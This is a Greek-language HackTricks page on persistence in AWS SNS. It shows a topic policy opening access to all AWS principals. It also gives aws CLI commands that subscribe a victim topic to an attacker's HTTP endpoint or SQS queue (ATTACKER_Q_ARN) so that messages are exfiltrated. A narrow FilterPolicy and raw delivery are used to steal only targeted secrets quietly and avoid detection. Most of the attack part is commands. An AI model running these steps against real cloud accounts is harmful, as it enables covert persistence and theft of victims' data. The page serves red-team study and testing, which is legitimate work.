AWS - SNS Persistence

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

SNS

Για περισσότερες πληροφορίες δείτε:

AWS - SNS Enum

Επίμονη πρόσβαση

Κατά τη δημιουργία ενός SNS topic πρέπει να υποδείξετε με μία IAM policy ποιος έχει πρόσβαση για ανάγνωση και εγγραφή. Είναι δυνατό να υποδείξετε εξωτερικούς λογαριασμούς, ARN ρόλων, ή ακόμα το “*”.
Η ακόλουθη policy δίνει σε όλους στο AWS πρόσβαση για ανάγνωση και εγγραφή στο SNS topic με όνομα MySNS.fifo:

{
"Version": "2008-10-17",
"Id": "__default_policy_ID",
"Statement": [
{
"Sid": "__default_statement_ID",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"SNS:Publish",
"SNS:RemovePermission",
"SNS:SetTopicAttributes",
"SNS:DeleteTopic",
"SNS:ListSubscriptionsByTopic",
"SNS:GetTopicAttributes",
"SNS:AddPermission",
"SNS:Subscribe"
],
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo",
"Condition": {
"StringEquals": {
"AWS:SourceOwner": "318142138553"
}
}
},
{
"Sid": "__console_pub_0",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "SNS:Publish",
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
},
{
"Sid": "__console_sub_0",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "SNS:Subscribe",
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
}
]
}

Δημιουργία Συνδρομητών

Για να συνεχίσει να εξάγει όλα τα μηνύματα από όλα τα θέματα, ένας επιτιθέμενος μπορεί να δημιουργήσει συνδρομητές για όλα τα θέματα.

Σημειώστε ότι αν το θέμα είναι τύπου FIFO, μόνο συνδρομητές που χρησιμοποιούν το πρωτόκολλο SQS μπορούν να χρησιμοποιηθούν.

aws sns subscribe --region <region> \
--protocol http \
--notification-endpoint http://<attacker>/ \
--topic-arn <arn>

Κρυφή, επιλεκτική exfiltration μέσω FilterPolicy σε MessageBody

Ένας επιτιθέμενος με sns:Subscribe και sns:SetSubscriptionAttributes σε ένα topic μπορεί να δημιουργήσει μια stealthy SQS subscription που προωθεί μόνο μηνύματα των οποίων το JSON body ταιριάζει με ένα πολύ στενό φίλτρο (για παράδειγμα, {"secret":"true"}). Αυτό μειώνει τον όγκο και την πιθανότητα ανίχνευσης ενώ εξακολουθεί να πραγματοποιείται exfiltration ευαίσθητων εγγραφών.

Πιθανός Αντίκτυπος: Κρυφή, χαμηλού θορύβου exfiltration μόνο των στοχευμένων μηνυμάτων SNS από ένα θύμα topic.

Βήματα (AWS CLI):

  • Βεβαιωθείτε ότι η πολιτική της SQS ουράς του επιτιθέμενου επιτρέπει sqs:SendMessage από το θύμα TopicArn (Condition aws:SourceArn equals the TopicArn).
  • Δημιουργήστε SQS subscription για το topic:
aws sns subscribe --region us-east-1 --topic-arn TOPIC_ARN --protocol sqs --notification-endpoint ATTACKER_Q_ARN
  • Ορίστε το φίλτρο να λειτουργεί στο MessageBody και να ταιριάζει μόνο secret=true:
aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name FilterPolicyScope --attribute-value MessageBody
aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name FilterPolicy --attribute-value '{"secret":["true"]}'
  • Προαιρετική διακριτικότητα: ενεργοποιήστε το raw delivery ώστε μόνο το raw payload να φτάνει στον παραλήπτη:
aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name RawMessageDelivery --attribute-value true
  • Επαλήθευση: δημοσιεύστε δύο μηνύματα και επιβεβαιώστε ότι μόνο το πρώτο παραδόθηκε στην ουρά του επιτιθέμενου. Παραδείγματα payloads:
{"secret":"true","data":"exfil"}
{"secret":"false","data":"benign"}
  • Καθαρισμός: απεγγραφείτε και διαγράψτε την SQS ουρά του επιτιθέμενου αν δημιουργήθηκε για persistence testing.

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks